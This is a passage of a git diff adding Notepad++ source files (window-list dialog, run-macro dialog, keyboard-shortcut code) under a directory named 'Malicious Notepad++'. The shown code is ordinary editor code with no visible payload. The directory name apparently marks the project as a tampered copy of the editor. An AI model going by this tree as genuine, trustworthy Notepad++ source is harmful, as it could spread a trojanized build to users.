nDoc = pTab->nbItem(); + nDoc = min(nDoc, nMaxDoc); + int id; + size_t pos; + for (id = IDM_WINDOW_MRU_FIRST, pos = 0; id < IDM_WINDOW_MRU_FIRST + static_cast(nDoc); ++id, ++pos) + { + BufferID bufID = pTab->getBufferByIndex(pos); + Buffer * buf = MainFileManager->getBufferByID(bufID); + + MENUITEMINFO mii; + memset(&mii, 0, sizeof(mii)); + mii.cbSize = sizeof(mii); + mii.fMask = MIIM_STRING|MIIM_STATE|MIIM_ID; + generic_string strBuffer(BuildMenuFileName(60, static_cast(pos), buf->getFileName())); + // Can't make mii.dwTypeData = strBuffer.c_str() because of const cast. + // So, making temporary buffer for this. + std::vector vBuffer(strBuffer.begin(), strBuffer.end()); + vBuffer.push_back('\0'); + mii.dwTypeData = (&vBuffer[0]); + mii.fState &= ~(MF_GRAYED|MF_DISABLED|MF_CHECKED); + if (int(pos) == curDoc) + mii.fState |= MF_CHECKED; + mii.wID = id; + + UINT state = GetMenuState(hMenu, id, MF_BYCOMMAND); + if (state == -1) + InsertMenuItem(hMenu, IDM_WINDOW_WINDOWS, FALSE, &mii); + else + SetMenuItemInfo(hMenu, id, FALSE, &mii); + } + for ( ; id<=IDM_WINDOW_MRU_LIMIT; ++id) + { + DeleteMenu(hMenu, id, FALSE); + } + } +} + diff --git a/Malicious Notepad++/src/WinControls/WindowsDlg/WindowsDlg.h b/Malicious Notepad++/src/WinControls/WindowsDlg/WindowsDlg.h new file mode 100644 index 0000000..f260269 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/WindowsDlg/WindowsDlg.h @@ -0,0 +1,121 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include "SizeableDlg.h" +#include "Common.h" + +class DocTabView; +class TiXmlNodeA; + +typedef enum { + WDT_ACTIVATE = 1, + WDT_SAVE = 2, + WDT_CLOSE = 3, + WDT_SORT = 4, +} WinDlgNotifyType; + + +struct NMWINDLG : public NMHDR { + + BOOL processed; + WinDlgNotifyType type; + UINT curSel; + UINT nItems; + UINT *Items; + + // ctor: initialize to zeroes + NMWINDLG() { memset(this,0,sizeof(NMWINDLG)); } +}; + +extern const UINT WDN_NOTIFY; + + +class WindowsDlg : public SizeableDlg +{ + typedef SizeableDlg MyBaseClass; + + class CachedValue + { + generic_string fullname; + int index; + }; + +public : + WindowsDlg(); + int doDialog(TiXmlNodeA *dlgNode); + virtual void init(HINSTANCE hInst, HWND parent, DocTabView *pTab); + + void doRefresh(bool invalidate = false); + bool changeDlgLang(); + +protected : + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + virtual BOOL onInitDialog(); + virtual void onSize(UINT nType, int cx, int cy); + virtual void onGetMinMaxInfo(MINMAXINFO* lpMMI); + virtual LRESULT onWinMgr(WPARAM wp, LPARAM lp); + virtual void destroy(); + void updateColumnNames(); + void fitColumnsToSize(); + void resetSelection(); + void doSave(); + void doClose(); + void doSortToTabs(); + void updateButtonState(); + void activateCurrent(); + void doColumnSort(); + + HWND _hList = nullptr; + static RECT _lastKnownLocation; + SIZE _szMinButton; + SIZE _szMinListCtrl; + DocTabView *_pTab = nullptr; + std::vector _idxMap; + int _currentColumn = -1; + int _lastSort = -1; + bool _reverseSort = false; + TiXmlNodeA *_dlgNode = nullptr; + +private: + virtual void init(HINSTANCE hInst, HWND parent); +}; + +class WindowsMenu +{ +public: + WindowsMenu(); + ~WindowsMenu(); + void init(HINSTANCE hInst, HMENU hMainMenu, const TCHAR *translation); + void initPopupMenu(HMENU hMenu, DocTabView *pTab); + +private: + HMENU _hMenu = nullptr; +}; + diff --git a/Malicious Notepad++/src/WinControls/WindowsDlg/WindowsDlg.rc b/Malicious Notepad++/src/WinControls/WindowsDlg/WindowsDlg.rc new file mode 100644 index 0000000..bb84272 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/WindowsDlg/WindowsDlg.rc @@ -0,0 +1,55 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "WindowsDlgRc.h" + +IDD_WINDOWS DIALOGEX 0, 0, 450, 300 +STYLE DS_SETFONT | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME | DS_MODALFRAME +CAPTION "Windows" +FONT 8, TEXT("MS Shell Dlg"), 400, 0, 0x1 +BEGIN + CONTROL "", IDC_WINDOWS_LIST, TEXT("SysListView32"), LVS_REPORT | LVS_OWNERDATA | LVS_SHOWSELALWAYS | LVS_ALIGNLEFT | WS_BORDER | WS_TABSTOP, 7, 7, 206, 160 + DEFPUSHBUTTON "&Activate",IDOK,219,7,60,14 + PUSHBUTTON "&Save",IDC_WINDOWS_SAVE,219,26,60,14 + PUSHBUTTON "&Close window(s)",IDC_WINDOWS_CLOSE,219,44,60,14 + PUSHBUTTON "Sort &tabs",IDC_WINDOWS_SORT,219,60,60,14 + PUSHBUTTON "&OK",IDCANCEL,219,169,60,14 +END + +IDR_WINDOWS_MENU MENU +BEGIN + MENUITEM "Recent Window", IDM_WINDOW_MRU_FIRST, GRAYED + MENUITEM "&Windows...", IDM_WINDOW_WINDOWS +END + + +STRINGTABLE +BEGIN + IDR_WINDOWS_MENU "&Window" +END diff --git a/Malicious Notepad++/src/WinControls/WindowsDlg/WindowsDlgRc.h b/Malicious Notepad++/src/WinControls/WindowsDlg/WindowsDlgRc.h new file mode 100644 index 0000000..72a4714 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/WindowsDlg/WindowsDlgRc.h @@ -0,0 +1,54 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef WINDOWS_DLG_RC_H +#define WINDOWS_DLG_RC_H + +#ifdef __GNUC__ +#ifndef _WIN32_IE +#define _WIN32_IE 0x0600 +#endif + + #ifndef LVS_OWNERDATA + #define LVS_OWNERDATA 4096 + #endif + +#endif + +#define IDD_WINDOWS 7000 + #define IDC_WINDOWS_LIST (IDD_WINDOWS + 1) + #define IDC_WINDOWS_SAVE (IDD_WINDOWS + 2) + #define IDC_WINDOWS_CLOSE (IDD_WINDOWS + 3) + #define IDC_WINDOWS_SORT (IDD_WINDOWS + 4) + +#define IDR_WINDOWS_MENU 11000 + #define IDM_WINDOW_WINDOWS (IDR_WINDOWS_MENU + 1) + #define IDM_WINDOW_MRU_FIRST (IDR_WINDOWS_MENU + 20) + #define IDM_WINDOW_MRU_LIMIT (IDR_WINDOWS_MENU + 29) + +#endif //WINDOWS_DLG_RC_H diff --git a/Malicious Notepad++/src/WinControls/shortcut/RunMacroDlg.cpp b/Malicious Notepad++/src/WinControls/shortcut/RunMacroDlg.cpp new file mode 100644 index 0000000..99608d6 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/shortcut/RunMacroDlg.cpp @@ -0,0 +1,145 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +// created by Daniel Volk mordorpost@volkarts.com + + +#include "RunMacroDlg.h" +#include "ScintillaEditView.h" +#include "Notepad_plus_msgs.h" + +void RunMacroDlg::initMacroList() +{ + if (!isCreated()) return; + + NppParameters *pNppParam = NppParameters::getInstance(); + std::vector & macroList = pNppParam->getMacroList(); + + ::SendDlgItemMessage(_hSelf, IDC_MACRO_COMBO, CB_RESETCONTENT, 0, 0); + + if (::SendMessage(_hParent, WM_GETCURRENTMACROSTATUS, 0, 0) == MACRO_RECORDING_HAS_STOPPED) + ::SendDlgItemMessage(_hSelf, IDC_MACRO_COMBO, CB_ADDSTRING, 0, reinterpret_cast(TEXT("Current recorded macro"))); + + for (size_t i = 0, len = macroList.size(); i < len ; ++i) + ::SendDlgItemMessage(_hSelf, IDC_MACRO_COMBO, CB_ADDSTRING, 0, reinterpret_cast(macroList[i].getName())); + + ::SendDlgItemMessage(_hSelf, IDC_MACRO_COMBO, CB_SETCURSEL, 0, 0); + _macroIndex = 0; +} + +INT_PTR CALLBACK RunMacroDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM) +{ + switch (message) + { + case WM_INITDIALOG : + { + initMacroList(); + ::SetDlgItemInt(_hSelf, IDC_M_RUN_TIMES, _times, FALSE); + switch (_mode) + { + case RM_RUN_MULTI: + check(IDC_M_RUN_MULTI); + break; + case RM_RUN_EOF: + check(IDC_M_RUN_EOF); + break; + } + ::SendDlgItemMessage(_hSelf, IDC_M_RUN_TIMES, EM_LIMITTEXT, 4, 0); + goToCenter(); + + return TRUE; + } + + case WM_COMMAND : + { + if (HIWORD(wParam) == EN_CHANGE) + { + switch (LOWORD(wParam)) + { + case IDC_M_RUN_TIMES: + check(IDC_M_RUN_MULTI); + return TRUE; + + default: + return FALSE; + } + } + + switch (wParam) + { + case IDCANCEL : + ::ShowWindow(_hSelf, SW_HIDE); + return TRUE; + + case IDOK : + if ( isCheckedOrNot(IDC_M_RUN_MULTI) ) + { + _mode = RM_RUN_MULTI; + _times = ::GetDlgItemInt(_hSelf, IDC_M_RUN_TIMES, NULL, FALSE); + } + else if ( isCheckedOrNot(IDC_M_RUN_EOF) ) + { + _mode = RM_RUN_EOF; + } + + if (::SendDlgItemMessage(_hSelf, IDC_MACRO_COMBO, CB_GETCOUNT, 0, 0)) + ::SendMessage(_hParent, WM_MACRODLGRUNMACRO, 0, 0); + + return TRUE; + + default: + if ((HIWORD(wParam) == CBN_SELCHANGE) && (LOWORD(wParam) == IDC_MACRO_COMBO)) + { + _macroIndex = static_cast(::SendDlgItemMessage(_hSelf, IDC_MACRO_COMBO, CB_GETCURSEL, 0, 0)); + return TRUE; + } + } + } + } + return FALSE; +} + +void RunMacroDlg::check(int id) +{ + // IDC_M_RUN_MULTI + if ( id == IDC_M_RUN_MULTI ) + ::SendDlgItemMessage(_hSelf, IDC_M_RUN_MULTI, BM_SETCHECK, BST_CHECKED, 0); + else + ::SendDlgItemMessage(_hSelf, IDC_M_RUN_MULTI, BM_SETCHECK, BST_UNCHECKED, 0); + + // IDC_M_RUN_EOF + if ( id == IDC_M_RUN_EOF ) + ::SendDlgItemMessage(_hSelf, IDC_M_RUN_EOF, BM_SETCHECK, BST_CHECKED, 0); + else + ::SendDlgItemMessage(_hSelf, IDC_M_RUN_EOF, BM_SETCHECK, BST_UNCHECKED, 0); +} + +int RunMacroDlg::getMacro2Exec() const +{ + bool isCurMacroPresent = ::SendMessage(_hParent, WM_GETCURRENTMACROSTATUS, 0, 0) == MACRO_RECORDING_HAS_STOPPED; + return isCurMacroPresent?(_macroIndex - 1):_macroIndex; +} diff --git a/Malicious Notepad++/src/WinControls/shortcut/RunMacroDlg.h b/Malicious Notepad++/src/WinControls/shortcut/RunMacroDlg.h new file mode 100644 index 0000000..73c1935 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/shortcut/RunMacroDlg.h @@ -0,0 +1,70 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +// created by Daniel Volk mordorpost@volkarts.com + +#pragma once + +#include "RunMacroDlg_rc.h" +#include "StaticDialog.h" + +#define RM_CANCEL -1 +#define RM_RUN_MULTI 1 +#define RM_RUN_EOF 2 + +class RunMacroDlg : public StaticDialog +{ +public : + RunMacroDlg() : StaticDialog() {}; + ~RunMacroDlg() { + }; + + void init(HINSTANCE hInst, HWND hPere/*, ScintillaEditView **ppEditView*/) { + Window::init(hInst, hPere); + }; + + void doDialog(bool isRTL = false) { + if (!isCreated()) + create(IDD_RUN_MACRO_DLG, isRTL); + else + ::ShowWindow(_hSelf, SW_SHOW); + }; + + void initMacroList(); + + int getMode() const {return _mode;}; + int getTimes() const {return _times;}; + int getMacro2Exec() const; + +private : + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + void check(int); + + int _mode = RM_RUN_MULTI; + int _times = 1; + int _macroIndex = 0; +}; diff --git a/Malicious Notepad++/src/WinControls/shortcut/RunMacroDlg.rc b/Malicious Notepad++/src/WinControls/shortcut/RunMacroDlg.rc new file mode 100644 index 0000000..e0b3363 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/shortcut/RunMacroDlg.rc @@ -0,0 +1,51 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +// created by Daniel Volk mordorpost@volkarts.com + +#ifndef RUN_MACRO_DLG_RC +#define RUN_MACRO_DLG_RC +#include +#include "RunMacroDlg_rc.h" + +IDD_RUN_MACRO_DLG DIALOGEX 0, 0, 168, 110 +STYLE DS_SETFONT | DS_3DLOOK | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | + WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW +CAPTION "Run a Macro Multiple Times" +FONT 8, TEXT("MS Shell Dlg"), 400, 0, 0x1 +BEGIN + DEFPUSHBUTTON "&Run",IDOK,27,82,50,14 + PUSHBUTTON "&Cancel",IDCANCEL,91,82,50,14 + CONTROL "Run",IDC_M_RUN_MULTI,"Button",BS_AUTORADIOBUTTON,18,38,47,10 + CONTROL "Run until the &end of file", IDC_M_RUN_EOF,"Button", BS_AUTORADIOBUTTON,18,56,140,10 + EDITTEXT IDC_M_RUN_TIMES,67,35,25,14,ES_AUTOHSCROLL | ES_NUMBER | WS_EX_DLGMODALFRAME + COMBOBOX IDC_MACRO_COMBO,67,10,96,30,CBS_DROPDOWNLIST | WS_VSCROLL | WS_TABSTOP + RTEXT "Macro to run :",IDC_MACRO2RUN_STATIC,5,12,59,8 + LTEXT "times",IDC_TIMES_STATIC,97,38,65,8 +END +#endif // RUN_MACRO_DLG_RC diff --git a/Malicious Notepad++/src/WinControls/shortcut/RunMacroDlg_rc.h b/Malicious Notepad++/src/WinControls/shortcut/RunMacroDlg_rc.h new file mode 100644 index 0000000..34c1137 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/shortcut/RunMacroDlg_rc.h @@ -0,0 +1,42 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +// created by Daniel Volk mordorpost@volkarts.com + +#ifndef RUN_MACRO_DLG_RC_H +#define RUN_MACRO_DLG_RC_H + +#define IDD_RUN_MACRO_DLG 8000 +#define IDC_M_RUN_MULTI 8001 +#define IDC_M_RUN_EOF 8002 +#define IDC_M_RUN_TIMES 8003 +#define IDC_MACRO_COMBO 8004 +//#define IDC_MACROGROUP_STATIC 8005 +#define IDC_TIMES_STATIC 8005 +#define IDC_MACRO2RUN_STATIC 8006 + +#endif //RUN_MACRO_DLG_RC_H diff --git a/Malicious Notepad++/src/WinControls/shortcut/shortcut.cpp b/Malicious Notepad++/src/WinControls/shortcut/shortcut.cpp new file mode 100644 index 0000000..7abb0f9 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/shortcut/shortcut.cpp @@ -0,0 +1,984 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "shortcut.h" +#include "Parameters.h" +#include "ScintillaEditView.h" +#include "resource.h" +#include "Notepad_plus_Window.h" +#include "keys.h" + +using namespace std; + +const int KEY_STR_LEN = 16; + +struct KeyIDNAME { + const TCHAR * name; + UCHAR id; +}; + +KeyIDNAME namedKeyArray[] = { +{TEXT("None"), VK_NULL}, + +{TEXT("Backspace"), VK_BACK}, +{TEXT("Tab"), VK_TAB}, +{TEXT("Enter"), VK_RETURN}, +{TEXT("Esc"), VK_ESCAPE}, +{TEXT("Spacebar"), VK_SPACE}, + +{TEXT("Page up"), VK_PRIOR}, +{TEXT("Page down"), VK_NEXT}, +{TEXT("End"), VK_END}, +{TEXT("Home"), VK_HOME}, +{TEXT("Left"), VK_LEFT}, +{TEXT("Up"), VK_UP}, +{TEXT("Right"), VK_RIGHT}, +{TEXT("Down"), VK_DOWN}, + +{TEXT("INS"), VK_INSERT}, +{TEXT("DEL"), VK_DELETE}, + +{TEXT("0"), VK_0}, +{TEXT("1"), VK_1}, +{TEXT("2"), VK_2}, +{TEXT("3"), VK_3}, +{TEXT("4"), VK_4}, +{TEXT("5"), VK_5}, +{TEXT("6"), VK_6}, +{TEXT("7"), VK_7}, +{TEXT("8"), VK_8}, +{TEXT("9"), VK_9}, +{TEXT("A"), VK_A}, +{TEXT("B"), VK_B}, +{TEXT("C"), VK_C}, +{TEXT("D"), VK_D}, +{TEXT("E"), VK_E}, +{TEXT("F"), VK_F}, +{TEXT("G"), VK_G}, +{TEXT("H"), VK_H}, +{TEXT("I"), VK_I}, +{TEXT("J"), VK_J}, +{TEXT("K"), VK_K}, +{TEXT("L"), VK_L}, +{TEXT("M"), VK_M}, +{TEXT("N"), VK_N}, +{TEXT("O"), VK_O}, +{TEXT("P"), VK_P}, +{TEXT("Q"), VK_Q}, +{TEXT("R"), VK_R}, +{TEXT("S"), VK_S}, +{TEXT("T"), VK_T}, +{TEXT("U"), VK_U}, +{TEXT("V"), VK_V}, +{TEXT("W"), VK_W}, +{TEXT("X"), VK_X}, +{TEXT("Y"), VK_Y}, +{TEXT("Z"), VK_Z}, + +{TEXT("Numpad 0"), VK_NUMPAD0}, +{TEXT("Numpad 1"), VK_NUMPAD1}, +{TEXT("Numpad 2"), VK_NUMPAD2}, +{TEXT("Numpad 3"), VK_NUMPAD3}, +{TEXT("Numpad 4"), VK_NUMPAD4}, +{TEXT("Numpad 5"), VK_NUMPAD5}, +{TEXT("Numpad 6"), VK_NUMPAD6}, +{TEXT("Numpad 7"), VK_NUMPAD7}, +{TEXT("Numpad 8"), VK_NUMPAD8}, +{TEXT("Numpad 9"), VK_NUMPAD9}, +{TEXT("Num *"), VK_MULTIPLY}, +{TEXT("Num +"), VK_ADD}, +//{TEXT("Num Enter"), VK_SEPARATOR}, //this one doesnt seem to work +{TEXT("Num -"), VK_SUBTRACT}, +{TEXT("Num ."), VK_DECIMAL}, +{TEXT("Num /"), VK_DIVIDE}, +{TEXT("F1"), VK_F1}, +{TEXT("F2"), VK_F2}, +{TEXT("F3"), VK_F3}, +{TEXT("F4"), VK_F4}, +{TEXT("F5"), VK_F5}, +{TEXT("F6"), VK_F6}, +{TEXT("F7"), VK_F7}, +{TEXT("F8"), VK_F8}, +{TEXT("F9"), VK_F9}, +{TEXT("F10"), VK_F10}, +{TEXT("F11"), VK_F11}, +{TEXT("F12"), VK_F12}, + +{TEXT("~"), VK_OEM_3}, +{TEXT("-"), VK_OEM_MINUS}, +{TEXT("="), VK_OEM_PLUS}, +{TEXT("["), VK_OEM_4}, +{TEXT("]"), VK_OEM_6}, +{TEXT(";"), VK_OEM_1}, +{TEXT("'"), VK_OEM_7}, +{TEXT("\\"), VK_OEM_5}, +{TEXT(","), VK_OEM_COMMA}, +{TEXT("."), VK_OEM_PERIOD}, +{TEXT("/"), VK_OEM_2}, + +{TEXT("<>"), VK_OEM_102}, +}; + +#define nbKeys sizeof(namedKeyArray)/sizeof(KeyIDNAME) + +generic_string Shortcut::toString() const +{ + generic_string sc = TEXT(""); + if (!isEnabled()) + return sc; + + if (_keyCombo._isCtrl) + sc += TEXT("Ctrl+"); + if (_keyCombo._isAlt) + sc += TEXT("Alt+"); + if (_keyCombo._isShift) + sc += TEXT("Shift+"); + + generic_string keyString; + getKeyStrFromVal(_keyCombo._key, keyString); + sc += keyString; + return sc; +} + +void Shortcut::setName(const TCHAR * name) { + lstrcpyn(_menuName, name, nameLenMax); + lstrcpyn(_name, name, nameLenMax); + int i = 0, j = 0; + while(name[j] != 0 && i < nameLenMax) { + if (name[j] != '&') { + _name[i] = name[j]; + ++i; + } else { //check if this ampersand is being escaped + if (name[j+1] == '&') { //escaped ampersand + _name[i] = name[j]; + ++i; + ++j; //skip escaped ampersand + } + } + ++j; + } + _name[i] = 0; +} + +generic_string ScintillaKeyMap::toString() const { + generic_string sc = TEXT(""); + size_t nbCombos = getSize(); + for (size_t combo = 0; combo < nbCombos; ++combo){ + sc += toString(combo); + if (combo < nbCombos - 1) + sc += TEXT(" or "); + } + return sc; +} + +generic_string ScintillaKeyMap::toString(size_t index) const { + generic_string sc = TEXT(""); + if (!isEnabled()) + return sc; + + KeyCombo kc = _keyCombos[index]; + if (kc._isCtrl) + sc += TEXT("Ctrl+"); + if (kc._isAlt) + sc += TEXT("Alt+"); + if (kc._isShift) + sc += TEXT("Shift+"); + + generic_string keyString; + getKeyStrFromVal(kc._key, keyString); + sc += keyString; + return sc; +} + +KeyCombo ScintillaKeyMap::getKeyComboByIndex(size_t index) const { + return _keyCombos[index]; +} + +void ScintillaKeyMap::setKeyComboByIndex(int index, KeyCombo combo) +{ + if(combo._key == 0 && (_size > 1)) + { //remove the item if possible + _keyCombos.erase(_keyCombos.begin() + index); + } + _keyCombos[index] = combo; +} + +void ScintillaKeyMap::removeKeyComboByIndex(size_t index) +{ + if (_size > 1 && index < _size) + { + _keyCombos.erase(_keyCombos.begin() + index); + _size--; + } +} + +int ScintillaKeyMap::addKeyCombo(KeyCombo combo) +{ //returns index where key is added, or -1 when invalid + if (combo._key == 0) //do not allow to add disabled keycombos + return -1; + if (!isEnabled()) + { //disabled, override current combo with new enabled one + _keyCombos[0] = combo; + return 0; + } + for(size_t i = 0; i < _size; ++i) + { //if already in the list do not add it + KeyCombo & kc = _keyCombos[i]; + if (combo._key == kc._key && combo._isCtrl == kc._isCtrl && combo._isAlt == kc._isAlt && combo._isShift == kc._isShift) + return static_cast(i); //already in the list + } + _keyCombos.push_back(combo); + ++_size; + return static_cast(_size - 1); +} + +bool ScintillaKeyMap::isEnabled() const { + return (_keyCombos[0]._key != 0); +} + +size_t ScintillaKeyMap::getSize() const { + return _size; +} + +void getKeyStrFromVal(UCHAR keyVal, generic_string & str) +{ + str = TEXT(""); + bool found = false; + int i; + for (i = 0; i < nbKeys; ++i) { + if (keyVal == namedKeyArray[i].id) { + found = true; + break; + } + } + if (found) + str = namedKeyArray[i].name; + else + str = TEXT("Unlisted"); +} + +void getNameStrFromCmd(DWORD cmd, generic_string & str) +{ + if ((cmd >= ID_MACRO) && (cmd < ID_MACRO_LIMIT)) + { + vector & theMacros = (NppParameters::getInstance())->getMacroList(); + int i = cmd - ID_MACRO; + str = theMacros[i].getName(); + } + else if ((cmd >= ID_USER_CMD) && (cmd < ID_USER_CMD_LIMIT)) + { + vector & userCommands = (NppParameters::getInstance())->getUserCommandList(); + int i = cmd - ID_USER_CMD; + str = userCommands[i].getName(); + } + else if ((cmd >= ID_PLUGINS_CMD) && (cmd < ID_PLUGINS_CMD_LIMIT)) + { + vector & pluginCmds = (NppParameters::getInstance())->getPluginCommandList(); + size_t i = 0; + for (size_t j = 0, len = pluginCmds.size(); j < len ; ++j) + { + if (pluginCmds[j].getID() == cmd) + { + i = j; + break; + } + } + str = pluginCmds[i].getName(); + } + else + { + HWND hNotepad_plus = ::FindWindow(Notepad_plus_Window::getClassName(), NULL); + const int commandSize = 64; + TCHAR cmdName[commandSize]; + HMENU m = reinterpret_cast(::SendMessage(hNotepad_plus, NPPM_INTERNAL_GETMENU, 0, 0)); + int nbChar = ::GetMenuString(m, cmd, cmdName, commandSize, MF_BYCOMMAND); + if (!nbChar) + return; + bool fin = false; + int j = 0; + size_t len = lstrlen(cmdName); + for (size_t i = 0 ; i < len; 